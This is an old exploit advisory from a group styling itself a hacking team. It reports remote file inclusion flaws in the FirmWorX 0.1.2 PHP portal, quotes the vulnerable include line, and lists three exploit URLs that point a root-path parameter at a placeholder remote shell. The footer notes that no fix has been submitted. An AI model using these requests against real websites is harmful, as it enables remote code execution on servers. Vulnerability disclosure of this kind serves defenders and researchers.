FirmWorX 0.1.2 Multiple Remote File Inclusion Vulnerabilities
2007-05-24 00:00:00**********************************************************************************************************
DeltaSecurityTEAM
WwW.DeltaSecurity.iR
**********************************************************************************************************
* Portal Name = FirmWorX 0.1.2
* Class = Remote File Inclusion
* Risk = High (Remote File Execution)
* Download = http://firmworx.sourceforge.net
* Discoverd By = DeltahackingTEAM
* User In Delta Team = Dav00d_Cracker
* Conatact = [email protected]
--------------------------------------------------------------------------------------------
Vulnerability C0de :
require_once($fm_data['root']."/includes/config/db.inc.php");
--------------------------------------------------------------------------------------------
- Expl0it:
http://localhost/[PATH]/includes/config/master.inc.php?fm_data[root]=Shellz?
http://localhost/[PATH]/includes/functions/master.inc.php?fm_data[root]=Shellz?
http://localhost/[PATH]/modules/bank/includes/design/main.inc.php?bank_data[root]=Shellz?
--------------------------------------------------------------------------------------------
Gr33tz : Dr.Trojan , Hiv++ , D_7j , L0rd , RezaYavari , Vpc , And all I
**********************************************************************************************************
#
Fixes
No fixesPer poter inviare un fix è necessario essere utenti registrati.